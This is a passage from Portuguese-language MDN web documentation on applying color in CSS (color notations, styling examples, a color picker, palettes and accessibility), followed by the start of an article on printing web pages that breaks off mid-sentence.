(correspondendo a onde cada linha de texto na caixa começa e termina).\n\n`border-inline-start-color` (en-US) e `border-inline-end-color` (en-US)\n\nPermitem colorir as bordas da borda mais próximas ao início e ao final do início das linhas de texto dentro da caixa. De que lado isso está irá variar dependendo das propriedades `writing-mode`, `direction` (en-US) e `text-orientation` (en-US), que são normalmente (mas nem sempre) usado para ajustar a direcionalidade do texto com base no idioma exibido. Por exemplo, se o texto da caixa estiver sendo renderizado da direita para a esquerda, a cor da borda em linha será aplicada ao lado direito da borda.\n\n### Outras formas de usar cores\n\nCSS não é a única tecnologia da web que suporta cores. Existem tecnologias gráficas disponíveis na web que também suportam cores.\n\nA API do Canvas\n\nPermite desenhar gráficos de bitmap 2D em um elemento `<canvas>`. Veja nosso tutorial do Canvas para saber mais.\n\nSVG (Gráficos vetoriais escaláveis)\n\npermite desenhar imagens usando comandos que desenham formas, padrões e linhas específicos para produzir uma imagem. Os comandos SVG são formatados como XML e podem ser incorporados diretamente em uma página da Web ou podem ser colocados na página usando o elemento `<img>`, como qualquer outro tipo de imagem.\n\nWebGL\n\nA Biblioteca de gráficos da Web é uma API baseada em OpenGL ES para desenhar gráficos 2D e 3D de alto desempenho na Web. Veja nosso tutorial WebGL (en-US) para saber mais.\n\nComo descrever uma cor\n----------------------\n\nPara representar uma cor em CSS, você precisa encontrar uma maneira de traduzir o conceito analógico de \"cor\" em uma forma digital que um computador possa usar. Isso geralmente é feito dividindo a cor em componentes, como quanto de cada um de um conjunto de cores primárias deve ser misturado ou quão brilhante é a cor. Como tal, existem várias maneiras de descrever cores em CSS.\n\nPara uma discussão mais detalhada de cada um dos tipos de valor de cor, veja a referência para a unidade CSS `<color>`.\n\n### Palavras-chave\n\nUm conjunto de nomes de cores padrão foi definido, permitindo que você use essas palavras-chave em vez de representações numéricas de cores se você optar por fazer isso e houver uma palavra-chave representando a cor exata que você deseja usar. As palavras-chave de cores incluem as cores primárias e secundárias padrão (como `red`, `blue` ou `orange`), tons de cinza (de `black` a `white`, incluindo cores como `darkgray` e `lightgrey`), e uma variedade de outras cores misturadas, incluindo `lightseagreen`, `cornflowerblue` e `rebeccapurple`.\n\nVeja Palavras-chave de cores para uma lista de todas as palavras-chave de cores disponíveis.\n\n### valores RGB\n\nExistem três maneiras de representar uma cor RGB em CSS.\n\n#### Notação de string hexadecimal\n\nA notação de string hexadecimal representa uma cor usando dígitos hexadecimais para representar cada um dos componentes de cor (vermelho, verde e azul). Também pode incluir um quarto componente: o canal alfa (ou opacidade). Cada componente de cor pode ser representado como um número entre 0 e 255 (0x00 e 0xFF) ou, opcionalmente, como um número entre 0 e 15 (0x0 e 0xF). Todos os componentes *devem* ser especificados usando o mesmo número de dígitos. Se você usar a notação de um dígito, a cor final será calculada usando o dígito de cada componente duas vezes; ou seja, `\"#D\"` torna-se `\"#DD\"` ao desenhar.\n\nUma cor em notação de string hexadecimal sempre começa com o caractere `\"#\"`. Depois disso vêm os dígitos hexadecimais do código de cores. A string não diferencia maiúsculas de minúsculas.\n\n`\"#rrggbb\"`\n\nEspecifica uma cor totalmente opaca cujo componente vermelho é o número hexadecimal `0xrr`, o componente verde é `0xgg` e o componente azul é `0xbb`.\n\n`\"#rrggbbaa\"`\n\nEspecifica uma cor cujo componente vermelho é o número hexadecimal `0xrr`, componente verde é `0xgg` e composição azulente é `0xbb`. O canal alfa é especificado por `0xaa`; quanto menor for esse valor, mais translúcida será a cor.\n\n`\"#rgb\"`\n\nEspecifica uma cor cujo componente vermelho é o número hexadecimal `0xrr`, o componente verde é `0xgg` e o componente azul é `0xbb`.\n\n`\"#rgba\"`\n\nEspecifica uma cor cujo componente vermelho é o número hexadecimal `0xrr`, o componente verde é `0xgg` e o componente azul é `0xbb`. O canal alfa é especificado por `0xaa`; quanto menor for esse valor, mais translúcida será a cor.\n\nComo exemplo, você pode representar a cor opaca azul brilhante como `\"#0000ff\"` ou `\"#00f\"`. Para torná-lo 25% opaco, você pode usar `\"#0000ff44\"` ou `\"#00f4\"`.\n\n#### Notação funcional RGB\n\nA notação funcional RGB (Vermelho/Verde/Azul), como a notação de string hexadecimal, representa cores usando seus componentes vermelho, verde e azul (assim como, opcionalmente, um componente de canal alfa para opacidade). No entanto, em vez de usar uma string, a cor é definida usando a função CSS `rgb()`. Esta função aceita como parâmetros de entrada os valores dos componentes vermelho, verde e azul e um quarto parâmetro opcional, o valor do canal alfa.\n\nOs valores legais para cada um desses parâmetros são:\n\n`vermelho`, `verde` e `azul`\n\nCada um deve ter um valor `<integer>` (en-US) entre 0 e 255 (inclusive), ou um `<percentage>` (en-US) de 0% a 100%.\n\n`alfa`\n\nO canal alfa é um número entre 0,0 (totalmente transparente) e 1,0 (totalmente opaco). Você também pode especificar uma porcentagem em que 0% é igual a 0,0 e 100% é igual a 1,0.\n\nPor exemplo, um vermelho brilhante que é 50% opaco pode ser representado como `rgb(255, 0, 0, 0.5)` ou `rgb(100%, 0, 0, 50%)`.\n\n### Notação funcional HSL\n\nDesigners e artistas geralmente preferem trabalhar usando o método de cores HSL (Hue/Saturation/Luminosity). Na web, as cores HSL são representadas usando a notação funcional HSL. A função CSS `hsl()` é muito semelhante à função `rgb()` em uso de outra forma.\n\nO diagrama abaixo mostra um cilindro de cor HSL. Hue define a cor real com base na posição ao longo de uma color wheel (en-US) circular que representa as cores do espectro visível. A saturação é uma porcentagem de quanto do caminho entre ser um tom de cinza e ter a quantidade máxima possível do tom fornecido. À medida que o valor da luminância (ou luminosidade) aumenta, a cor passa do mais escuro possível para o mais claro possível (do preto para o branco). Imagem cortesia do usuário SharkD na Wikipedia, distribuído sob a licença CC BY-SA 3.0.\n\n![cilindro de cores HSL](/pt-BR/docs/Web/CSS/CSS_colors/Applying_color/640px-hsl_color_solid_cylinder.png)\n\nO valor do componente de matiz (H) de uma cor HSL é um ângulo do vermelho ao redor do amarelo, verde, ciano, azul e magenta (terminando de volta ao vermelho novamente em 360°) que identifica qual é a cor base. O valor pode ser especificado em qualquer unidade `<angle>` (en-US) suportada por CSS, incluindo graus (`deg`), radianos (`rad`), gradianos (`grad`), ou voltas (`virar`). Mas isso não controla o quão viva ou opaca, ou quão brilhante ou escura é a cor.\n\nO componente de saturação (S) da cor especifica qual porcentagem da cor final é composta pelo matiz especificado. O restante é definido pelo nível de cinza fornecido pelo componente de luminância (L).\n\nPense nisso como criar a cor de tinta perfeita:\n\n1. Você começa com a tinta base que é a intensidade máxima possível para uma determinada cor, como o azul mais intenso que pode ser representado pela tela do usuário. Este é o componente **matiz** (H): um valor que representa o ângulo ao redor do color wheel (en-US) para o matiz vívido que queremos usar como base.\n2. Em seguida, selecione uma tinta em tons de cinza que corresponda ao brilho que você deseja que a cor seja; esta é a luminância. Você quer que seja muito brilhante e quase branco, ou muito escuro e mais próximo do preto, ou algo no meio? Isso é especificado usando uma porcentagem, onde 0% é perfeitamente preto e 100% é perfeitamente branco (independentemente da saturação ou matiz). Entre os valores há uma área cinza literal.\n3. Agora que você tem uma tinta cinza e uma cor perfeitamente viva, precisa misturá-las. O componente de saturação (S) da cor indica qual porcentagem da cor final deve ser composta por aquela cor perfeitamente vívida. O restante da cor final é composto pela tinta cinza que representa a saturação.\n\nVocê também pode incluir opcionalmente um canal alfa, para tornar a cor menos de 100% opaca.\n\nAqui estão algumas cores de amostra em notação HSL:\n```\n\ntable {\n  border: 1px solid black;\n  font:\n    16px \"Open Sans\",\n    Helvetica,\n    Arial,\n    sans-serif;\n  border-spacing: 0;\n  border-collapse: collapse;\n}\n\nth,\ntd {\n  border: 1px solid black;\n  padding: 4px 6px;\n  text-align: left;\n}\n\nth {\n  background-color: hsl(0, 0%, 75%);\n}\n```\n\n\n\n```html\n<table>\n  <thead>\n    <tr>\n      <th scope=\"col\">Color in HSL notation</th>\n      <th scope=\"col\">Example</th>\n    </tr>\n  </thead>\n  <tbody>\n    <tr>\n      <td><code>hsl(90deg, 100%, 50%)</code></td>\n      <td style=\"background-color: hsl(90deg, 100%, 50%);\">&nbsp;</td>\n    </tr>\n    <tr>\n      <td><code>hsl(90, 100%, 50%)</code></td>\n      <td style=\"background-color: hsl(90, 100%, 50%);\">&nbsp;</td>\n    </tr>\n    <tr>\n      <td><code>hsl(0.15turn, 50%, 75%)</code></td>\n      <td style=\"background-color: hsl(0.15turn, 50%, 75%);\">&nbsp;</td>\n    </tr>\n    <tr>\n      <td><code>hsl(0.15turn, 90%, 75%)</code></td>\n      <td style=\"background-color: hsl(0.15turn, 90%, 75%);\">&nbsp;</td>\n    </tr>\n    <tr>\n      <td><code>hsl(0.15turn, 90%, 50%)</code></td>\n      <td style=\"background-color: hsl(0.15turn, 90%, 50%);\">&nbsp;</td>\n    </tr>\n    <tr>\n      <td><code>hsl(270deg, 90%, 50%)</code></td>\n      <td style=\"background-color: hsl(270deg, 90%, 50%);\">&nbsp;</td>\n    </tr>\n  </tbody>\n</table>\n```\n\n\n**Nota:** Quando você omite a unidade do matiz, assume-se que está em graus (`deg`).\n\n### Notação funcional HWB\n\nAssim como a notação funcional HSL acima, a função hwb() (en-US) usa o mesmo valor de matiz. Mas, em vez de claridade e saturação, você especifica valores de brancura e negritude em porcentagens. Os valores **não** são separados por vírgula e um valor alfa opcional pode ser incluído (deve ser precedido por uma barra `/`).\n\nAqui estão alguns exemplos de uso da notação HWB:\n\n\n```css\n/\\* Todos esses exemplos especificam vários tons de verde-limão. \\*/\nhwb(90 10% 10%)\nhwb(90 10% 10%)\nhwb(90 50% 10%)\nhwb(90deg 10% 10%)\nhwb(1.5708rad 60% 0%)\nhwb(.25turn 0% 40%)\n\n/\\* Mesmo verde-limão, mas com valor alfa \\*/\nhwb(90 10% 10% / 0.5)\nhwb(90 10% 10% / 50%)\n```\n\nUsando cores\n------------\n\nAgora que você sabe quais propriedades CSS existem que permitem aplicar cores a elementos e os formatos que você pode usar para descrever cores, você pode juntar tudo isso para começar a usar cores. Como você deve ter visto na lista em Coisas que podem ter cor, há muitas coisas que você pode colorir com CSS. Vejamos isso de dois lados: usando a cor dentro de um stylesheet (en-US) e adicionando e alterando a cor usando o código JavaScript para alterar os estilos dos elementos.\n\n### Especificando cores em folhas de estilo\n\nA maneira mais fácil de aplicar cores aos elementos — e a maneira como você normalmente faz isso — é especificar as cores no CSS que é usado ao renderizar os elementos. Embora não usemos todas as propriedades mencionadas anteriormente, veremos alguns exemplos. O conceito é o mesmo em qualquer lugar que você use cores.\n\nVamos dar uma olhada em um exemplo, começando pelos resultados que estamos tentando alcançar:\n\n#### HTML\n\nO HTML responsável pela criação do exemplo acima é mostrado aqui:\n\n\n```html\n<div class=\"wrapper\">\n  <div class=\"box boxLeft\">\n    <p>Esta é a primeira caixa.</p>\n  </div>\n  <div class=\"box boxRight\">\n    <p>Esta é a segunda caixa.</p>\n  </div>\n</div>\n```\n\n\nIsso é bem simples, usando um `<div>` como um wrapper em torno do conteúdo, que consiste em mais dois `<div>`s, cada um com um estilo diferente com um único parágrafo (`<p>`) em cada caixa.\n\nA mágica acontece, como sempre, no CSS, onde aplicaremos as cores para definir o layout do HTML acima.\n\n#### CSS\n\nVeremos o CSS para criar os resultados acima um por vez, para que possamos revisar as partes interessantes uma a uma.\n\n\n```css\n.wrapper {\n  width: 620px;\n  height: 110px;\n  margin: 0;\n  padding: 10px;\n  border: 6px solid mediumturquoise;\n}\n```\n\n\nA classe `.wrapper` é usada para atribuir estilos ao `<div>` que inclui todos os nossos outros conteúdos. Isso estabelece o tamanho do contêiner usando `width` e `height` bem como seu `margin` e `padding` .\n\nDe mais interesse para nossa discussão aqui é o uso da propriedade `border` (en-US) para estabelecer uma borda ao redor da borda externa do elemento. Essa borda é uma linha sólida, com 6 pixels de largura, na cor `mediumturquoise`.\n\nNossas duas caixas coloridas compartilham várias propriedades em comum, então, a seguir, estabelecemos uma classe, `.box`, que define essas propriedades compartilhadas:\n\n\n```css\n.box {\n  width: 290px;\n  height: 100px;\n  margin: 0;\n  padding: 4px 6px;\n  font:\n    28px \"Marker Felt\",\n    \"Zapfino\",\n    cursive;\n  display: flex;\n  justify-content: center;\n  align-items: center;\n}\n```\n\n\nResumidamente, `.box` estabelece o tamanho de cada caixa, bem como a configuração da fonte utilizada dentro dela. Também aproveitamos o CSS Flexbox para centralizar facilmente o conteúdo de cada caixa. Ativamos o modo `flex` usando `display: flex` e definimos `justify-content` (en-US) e `align-items` para `center`. Então podemos criar uma classe para cada umas duas caixas que definem as propriedades que diferem entre as duas.\n\n\n```css\n.boxLeft {\n  float: left;\n  background-color: rgb(245, 130, 130);\n  outline: 2px solid darkred;\n}\n```\n\n\nA classe `.boxLeft` — que, inteligentemente, é usada para estilizar a caixa à esquerda — flutua a caixa para a esquerda e, em seguida, configura as cores:\n\n* A cor de fundo da caixa é definida alterando o valor da propriedade CSS `background-color` para `rgb(245, 130, 130)`.\n* Um contorno é definido para a caixa. Ao contrário do `border` mais comumente usado, `outline` não afeta o layout; ele desenha por cima de qualquer coisa que esteja fora da caixa do elemento em vez de abrir espaço como `border`. Este contorno é uma linha vermelha escura sólida com dois pixels de espessura. Observe o uso da palavra-chave `darkred` ao especificar a cor.\n* Observe que não estamos definindo explicitamente a cor do texto. Isso significa que o valor de `color` será herdado do elemento mais próximo que o define. Por padrão, isso é preto.\n\n\n```css\n.boxRight {\n  float: right;\n  background-color: hsl(270deg, 50%, 75%);\n  outline: 4px dashed rgb(110, 20, 120);\n  color: hsl(0deg, 100%, 100%);\n  text-decoration: underline wavy #88ff88;\n  text-shadow: 2px 2px 3px black;\n}\n```\n\n\n**Nota:** ao tentar mostrá-lo no Safari, ele não será exibido corretamente. Porque o Safari não suporta `text-decoration: underline wavy #88ff88`.\n\nFinalmente, a classe `.boxRight` descreve as propriedades únicas da caixa que é desenhada à direita. Ele está configurado para flutuar a caixa para a direita para que ela apareça ao lado da caixa anterior. Em seguida, as seguintes cores são estabelecidas:\n\n* O `background-color` é definido usando o valor HSL especificado usando `hsl(270deg, 50%, 75%)`. Esta é uma cor roxa média.\n* O `outline` da caixa é usado para especificar que a caixa deve ser colocada em uma linha tracejada de quatro pixels de espessura cuja cor é um roxo um pouco mais profundo (`rgb(110, 20, 120)`).\n* A cor do primeiro plano (texto) é especificada definindo a propriedade `color` para `hsl(0deg, 100%, 100%)`. Esta é uma das muitas maneiras de especificar a cor branca.\n* Adicionamos uma linha ondulada verde sob o texto com `text-decoration`.\n* Finalmente, um pouco de sombra é adicionada ao texto usando `text-shadow`. Seu parâmetro `color` é definido como `black`.\nDeixando o usuário escolher uma cor\n-----------------------------------\n\nHá muitas situações em que seu site pode precisar permitir que o usuário selecione uma cor. Talvez você tenha uma interface de usuário personalizável ou esteja implementando um aplicativo de desenho. Talvez você tenha texto editável e precise deixar o usuário escolher a cor do texto. Ou talvez seu aplicativo permita que o usuário atribua cores a pastas ou itens. Embora historicamente tenha sido necessário implementar seu próprio seletor de cores, o HTML agora oferece suporte para navegadores fornecerem um para seu uso por meio do `<input>`, usando `\"color\"` como o valor de seu atributo `type`.\n\nO elemento `<input>` representa uma cor apenas na notação de string hexadecimal abordada acima.\n\n### Exemplo: Escolhendo uma cor\n\nVejamos um exemplo simples, no qual o usuário pode escolher uma cor. Conforme o usuário ajusta a cor, a borda ao redor do exemplo muda para refletir a nova cor. Após finalizar e escolher a cor final, o valor do seletor de cores é exibido.\n\n**Nota:** no macOS, você indica que finalizou a seleção da cor fechando a janela do seletor de cores.\n\n#### HTML\n\nO HTML aqui cria uma caixa que contém um controle seletor de cores (com um rótulo criado usando o elemento `<label>`) e um elemento de parágrafo vazio (`<p>`) no qual vamos produzir algum texto do nosso código JavaScript.\n\n\n```html\n<div id=\"box\">\n  <label for=\"colorPicker\">Cor da borda:</label>\n  <input type=\"color\" value=\"#8888ff\" id=\"colorPicker\" />\n  <p id=\"output\"></p>\n</div>\n```\n\n\n#### CSS\n\nO CSS estabelece um tamanho para a caixa e alguns estilos básicos para as aparências. A borda também é estabelecida com uma largura de 2 pixels e uma cor de borda.\n\n\n```css\n#box {\n  width: 500px;\n  height: 200px;\n  border: 2px solid rgb(245, 220, 225);\n  padding: 4px 6px;\n  font:\n    16px \"Lucida Grande\",\n    \"Helvetica\",\n    \"Arial\",\n    \"sans-serif\";\n}\n```\n\n\n#### JavaScript\n\nO script aqui lida com a tarefa de atualizar a cor inicial da borda para corresponder ao valor do seletor de cores. Em seguida, dois manipuladores de eventos são adicionados para lidar com a entrada do elemento `<input type=\"color\">` (en-US).\n\n\n```js\nconst colorPicker = document.getElementById(\"colorPicker\");\nconst box = document.getElementById(\"box\");\nconst output = document.getElementById(\"output\");\n\nbox.style.borderColor = colorPicker.value;\n\ncolorPicker.addEventListener(\n  \"input\",\n  (event) => {\n    box.style.borderColor = event.target.value;\n  },\n  false,\n);\n\ncolorPicker.addEventListener(\n  \"change\",\n  (event) => {\n    output.innerText = `Cor definida como ${colorPicker.value}.`;\n  },\n  false,\n);\n```\n\n\nO evento `input` é enviado toda vez que o valor do elemento muda; ou seja, toda vez que o usuário ajusta a cor no seletor de cores. Cada vez que esse evento chega, definimos a cor da borda da caixa para corresponder ao valor atual do seletor de cores.\n\nO evento `change` é recebido quando o valor do seletor de cores é finalizado. Nós respondemos definindo o conteúdo do elemento `<p>` com o ID `\"output\"` para uma string que descreve a cor finalmente selecionada.\n\nUsando cores com sabedoria\n--------------------------\n\nFazer as escolhas certas ao selecionar as cores ao projetar um site pode ser um processo complicado, especialmente se você não estiver bem fundamentado em arte, design ou pelo menos teoria básica de cores. A escolha errada de cores pode tornar seu site pouco atraente ou, pior ainda, deixar o conteúdo ilegível devido a problemas de contraste ou cores conflitantes. Pior ainda, se usar as cores erradas pode resultar na inutilização do seu conteúdo por pessoas com certos problemas de visão, principalmente daltonismo.\n\n### Encontrando as cores certas\n\nCriar as cores certas pode ser complicado, especialmente sem treinamento em arte ou design. Felizmente, existem ferramentas disponíveis que podem ajudá-lo. Embora eles não possam substituir ter um bom designer ajudando você a tomar essas decisões, eles definitivamente podem ajudá-lo a começar.\n\n#### Cor básica\n\nO primeiro passo é escolher sua **cor base**. Esta é a cor que de alguma forma define o seu site ou o assunto do site. Assim como associamos o verde à bebida Mountain Dew e pode-se pensar na cor azul em relação ao céu ou ao oceano, escolhendo uma cor base apropriada para representar seu site é um bom lugar para começar. Há muitas maneiras de selecionar uma cor base; algumas ideias incluem:\n\n* Uma cor que esteja naturalmente associada ao tema do seu conteúdo, como a cor existente identificada com um produto ou ideia ou uma cor representativa da emoção que você deseja transmitir.\n* Uma cor que vem de imagens associadas ao assunto do seu conteúdo. Se você estiver criando um site sobre um determinado item ou produto, escolha uma cor que esteja fisicamente presente nesse item.\n* Navegue por sites que permitem que você veja muitas paletas de cores e imagens existentes para encontrar inspiração.\n\nAo tentar decidir sobre uma cor base, você pode descobrir que as extensões do navegador que permitem selecionar cores do conteúdo da Web podem ser particularmente úteis. Alguns deles são projetados especificamente para ajudar nesse tipo de trabalho. Por exemplo, o site ColorZilla oferece uma extensão (Chrome / [Firefox](https:// www.colorzilla.com/firefox/)) que oferece uma ferramenta conta-gotas para escolher cores da web. Também pode obter médias das cores dos pixels em áreas de vários tamanhos ou até mesmo em uma área selecionada da página.\n\n**Nota:** A vantagem da média de cores pode ser que, muitas vezes, o que parece uma cor sólida é, na verdade, um número surpreendentemente variado de cores relacionadas, todas usadas em conjunto, misturando-se para criar o efeito desejado. Escolher apenas um desses pixels pode resultar na obtenção de uma cor que, por si só, parece muito fora do lugar.\n\n#### Confeccionando a paleta\n\nDepois de decidir a cor base, existem muitas ferramentas on-line que podem ajudá-lo a criar uma paleta de cores apropriadas para usar junto com a cor base, aplicando a teoria das cores à cor base para determinar as cores adicionadas apropriadas. Muitas dessas ferramentas também suportam a visualização das cores filtradas para que você possa ver como elas seriam para pessoas com várias formas de daltonismo. Consulte Cor e acessibilidade para uma breve explicação de por que isso é importante.\n\nAlguns exemplos (todos gratuitos para uso a partir do momento em que esta lista foi revisada pela última vez):\n\n* Ferramenta seletora de cores do MDN\n* Paletton\n* Roda de cores on-line do Adobe Color CC\n\nAo projetar sua paleta, lembre-se de que, além das cores que essas ferramentas normalmente geram, você provavelmente também precisará adicionar algumas cores neutras centrais, como branco (ou quase branco), preto (ou quase preto), e algum número de tons de cinza.\n\n**Nota:** Normalmente, é muito melhor usar o menor número de cores possível. Ao usar cores para acentuar em vez de adicionar cores a tudo na página, você mantém seu conteúdo fácil de ler e as cores que você usa têm muito mais impacto.\n\n### Recursos da teoria das cores\n\nUma revisão completa da teoria das cores está além do escopo deste artigo, mas há muitos artigos sobre a teoria das cores disponíveis, bem como cursos que você pode encontrar em escolas e universidades próximas. Alguns recursos úteis sobre a teoria das cores:\n\nCiência das cores (Khan Academy em associação com a Pixar)\n\nUm curso online que apresenta conceitos como o que é a cor, como ela é percebida e como usar as cores para expressar ideias. Apresentado por artistas e designers da Pixar.\n\nTeoria das cores na Wikipedia\n\nEntrada da Wikipedia sobre teoria das cores, que tem muitas informações excelentes do ponto de vista técnico. Não é realmente um recurso para ajudá-lo com o processo de seleção de cores, mas ainda está cheio de informações úteis.\n\n### Cor e acessibilidade\n\nExistem várias maneiras pelas quais a cor pode ser um problema accessibility. O uso impróprio ou descuidado de cores pode resultar em um site ou aplicativo que uma porcentagem de seu público-alvo pode não ser capaz de usar adequadamente, resultando em perda de tráfego, perda de negócios e possivelmente até mesmo um problema de relações públicas. Portanto, é importante considerar cuidadosamente o uso da cor.\n\nVocê deve fazer pelo menos uma pesquisa básica sobre daltonismo. Existem vários tipos; o mais comum é o daltonismo vermelho-verde, que faz com que as pessoas não consigam diferenciar entre as cores vermelho e verde. Existem outras, também, que vão desde a incapacidade de distinguir certas cores até a total incapacidade de ver as cores.\n\n**Nota:** A regra mais importante: nunca use a cor como a única maneira de saber algo. Se, por exemplo, você indicar sucesso ou falha de uma operação alterando a cor de uma forma de branco para verde para sucesso e vermelho para falha, os usuários com daltonismo vermelho-verde não poderão usar seu site corretamente. Em vez disso, talvez use texto e cor juntos, para que todos possam entender o que está acontecendo.\n\nPara obter mais informações sobre daltonismo, consulte os seguintes artigos:\n\n* Medline Plus: Daltonismo (Instituto Nacional de Saúde dos Estados Unidos)\n* Academia Americana de Oftalmologia: O que é daltonismo?\n* Daltonismo e Web Design (Usability.gov: Departamento de Saúde e Serviços Humanos dos Estados Unidos)\n### Exemplo de design de paleta\n\nVamos considerar um exemplo rápido de seleção de uma paleta de cores apropriada para um site. Imagine que você está construindo um site para um novo jogo que acontece no planeta Marte. Então, vamos fazer uma pesquisa no Google por fotos de Marte. Muitos bons exemplos de coloração marciana lá. Evitamos cuidadosamente as maquetes e as fotos dos filmes. E decidimos usar uma foto tirada por um dos landers de Marte que a humanidade estacionou na superfície nas últimas décadas, já que o jogo se passa na superfície do planeta. Usamos uma ferramenta de seleção de cores para selecionar uma amostra da cor que escolhemos.\n\nUsando uma ferramenta conta-gotas, identificamos uma cor que gostamos e determinamos que a cor em questão é `#D79C7A`, que é uma cor vermelho-alaranjada apropriada que é tão estereotipada da superfície marciana.\n\nTendo selecionado nossa cor base, precisamos construir nossa paleta. Decidimos usar Paletton para criar as outras cores que precisamos. Ao abrir Paletton, vemos:\n\n![Logo após carregar Paletton.](/pt-BR/docs/Web/CSS/CSS_colors/Applying_color/paletton1.png)\n\nEm seguida, inserimos o código hexadecimal da nossa cor (`D79C7A`) na caixa \"Base RGB\" no canto inferior esquerdo da ferramenta:\n\n![Após inserir a cor base](/pt-BR/docs/Web/CSS/CSS_colors/Applying_color/paletton2.png)\n\nAgora vemos uma paleta monocromática baseada na cor que escolhemos na foto de Marte. Se você precisar de muitas cores relacionadas por algum motivo, é provável que sejam boas. Mas o que realmente queremos é uma cor de destaque. Algo que irá aparecer ao lado da cor base. Para encontrar isso, clicamos no botão \"adicionar complementar\" abaixo do menu que permite selecionar o tipo de paleta (atualmente \"Monocromática\"). Paletton calcula uma cor de destaque apropriada; clicar na cor de destaque no canto inferior direito nos diz que essa cor é `#508D7C`.\n\n![Agora com cores complementares incluídas.](/pt-BR/docs/Web/CSS/CSS_colors/Applying_color/paletton3.png)\n\nSe não estiver satisfeito com a cor que lhe é proposta, pode alterar o esquema de cores, para ver se encontra algo de que goste mais. Por exemplo, se não gostarmos da cor azul-esverdeada proposta, podemos clicar no ícone do esquema de cores Triad, que nos apresenta o seguinte:\n\n![Esquema de cores da tríade selecionado](/pt-BR/docs/Web/CSS/CSS_colors/Applying_color/paletton4.png)\n\nEsse azul acinzentado no canto superior direito parece muito bom. Clicando nele, descobrimos que é `#556E8D`. Isso seria usado como a cor de destaque, para ser usado com moderação para destacar as coisas, como em títulos ou no destaque de guias ou outros indicadores no site:\n\n![Esquema de cores da tríade selecionado](/pt-BR/docs/Web/CSS/CSS_colors/Applying_color/paletton-color-detail.png)\n\nAgora temos nossa cor base e nosso sotaque. Além disso, temos alguns tons complementares de cada um, caso precisemos deles para gradientes e afins. As cores podem então ser exportadas em um nvários formatos para que você possa utilizá-los.\n\nDepois de ter essas cores, você provavelmente ainda precisará selecionar cores neutras apropriadas. A prática comum de design é tentar encontrar o ponto ideal onde haja contraste suficiente para que o texto seja nítido e legível, mas não contraste suficiente para se tornar áspero para os olhos. É fácil ir longe demais de uma forma ou de outra, portanto, certifique-se de obter feedback sobre suas cores depois de selecioná-las e ter exemplos delas em uso disponíveis. Se o contraste for muito baixo, seu texto tenderá a ficar desbotado pelo fundo, deixando-o ilegível, mas se o contraste for muito alto, o usuário poderá achar seu site berrante e desagradável de se ver.\n\n### Cor, fundos, contraste e impressão\n\n O que parece bom na tela pode parecer muito diferente no papel.\n Além disso, a tinta pode ser cara e, se um usuário estiver imprimindo sua página, ele não precisará necessariamente de todos os fundos e usar sua preciosa tinta quando tudo o que importa é o próprio texto.\n A maioria dos navegadores, por padrão, remove imagens de fundo ao imprimir documentos.\n\nSe as cores e imagens de fundo foram selecionadas com cuidado e/ou são cruciais para a utilidade do conteúdo, você pode usar a propriedade CSS `print-color-adjust` (en-US) para informar ao navegador que não deve fazer ajustes na aparência do conteúdo.\n\nO valor padrão de `print-color-adjust`, `economy`, indica que o navegador tem permissão para fazer alterações de aparência conforme necessário para tentar otimizar a legibilidade e/ou economia de impressão do conteúdo, dado o tipo do dispositivo de saída para o qual o documento está sendo desenhado.\n\n Você pode definir `print-color-adjust` como `exact` para informar ao navegador que o elemento ou elementos nos quais você o usa foram projetados especificamente para funcionar melhor com as cores e imagens deixadas como estão.\n Com este conjunto, o navegador não alterará a aparência do elemento e o desenhará conforme indicado pelo seu CSS.\n\n\n**Nota:** Não há garantia, porém, de que `print-color-adjust: exact` resultará em seu CSS sendo usado exatamente como fornecido.\n Se o navegador fornecer as preferências do usuário para alterar a saída (como uma caixa de seleção \"não imprimir fundos\" em uma caixa de diálogo de impressão), isso substituirá o valor de `print-color-adjust`.\n\n\nVeja também\n-----------\n\n* Desenhando gráficos (en-US)\n* Gráficos na web\n* ferramenta seletora de cores do MDN"}
{"title":"Printing - CSS","text":"Printing\n========\n\nPode haver momentos em que seu site ou aplicação queira melhorar a experiência do usuário quando imprime um conteúdo. Existem diversos cenários possíveis:\n\n* Você deseja ajustar o layout para tirar vantagem do tamanho e forma do papel.\n* Você deseja usar diferentes estilos para melhorar a aparência do seu conteúdo no papel.\n* Você deseja aumentar a resolução das imagens para um melhor resultado.\n* Você quer ajustar a experiência do usuário de impressão, como apresentar uma versão especialmente formatada de seu conteúdo antes da impressão começar.\n\nPodem haver outros casos onde você precisa gerenciar o processo de impressão, mas estes são alguns dos cenários mais comuns. Este artigo ensina dicas e técnicas para te ajudar a imprimir conteudo web de uma melhor forma.\n\nUsando uma folha de estilos para impressão\n------------------------------------------\n\nAdicione o seguinte código dentro da tag `<head>`.\n```\n\n<link href=\"/path/to/print.css\" media=\"print\" rel=\"stylesheet\" />\n```\n\nUsando media queries para melhorar o layout\n-------------------------------------------\n\nDetectando requisições de impressão\n-----------------------------------\n\nAlguns navegadores (incluindo o Firefox 6 e versões mais antigas do Internet Explorer) enviam eventos `beforeprint` e `afterprint` para permitir que o conteúdo determine quando a impressão deve ocorrer. Você pode usar isto para ajustar a interface presente durante a impressão (como a exibição ou ocultação de elementos de interface do usuário durante o processo de impressão).\n\n**Nota:** Você também pode usar `window.onbeforeprint` (en-US) e `window.onafterprint` (en-US) para atribuir manipuladores para esses eventos, mas usando `EventTarget.addEventListener()` é preferível.\n\nExemplos\n--------\n\nAqui estão alguns exemplos comuns.\n\n#### Abrir e fechar automaticamente uma janela popup quando finalizado\n\nIf you want to be able to automatically close a popup window (en-US) (for example, the printer-friendly version of a document) after the user prints its contents, you can use code like this:\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n    <title>JavaScript Window Close Example</title>\n    <script type=\"text/javascript\">\n function popuponclick() {\n my\\_window = window.open(\n \"\",\n \"mywindow\",\n \"status=1,width=350,height=150\",\n );\n my\\_window.document.write(\"<html><head><title>Print Me</title></head>\");\n my\\_window.document.write('<body onafterprint=\"self.close()\">');\n my\\_window.document.write(\n \"<p>When you print this window, it will close afterward.</p>\",\n );\n my\\_window.document.write(\"</body></html>\");\n }\n </script>\n  </head>\n  <body>\n    <p>\n      To try out the <code>afterprint</code> event, click the link below to open\n      the window to print. You can also try changing the code to use\n      <code>beforeprint</code> to see the difference.\n    </p>\n    <p><a href=\"javascript: popuponclick()\">Open Popup Window</a></p>\n  </body>\n</html>\n```\n\n\nVer Exemplo\n\n### Imprimir uma página externa sem abri-la\n\nIf you want to be able to print an external page without opening it, you can utilize a hidden `<iframe>` (see: HTMLIFrameElement (en-US)), automatically removing it after the user prints its contents. The following is a possible example which will print a file named 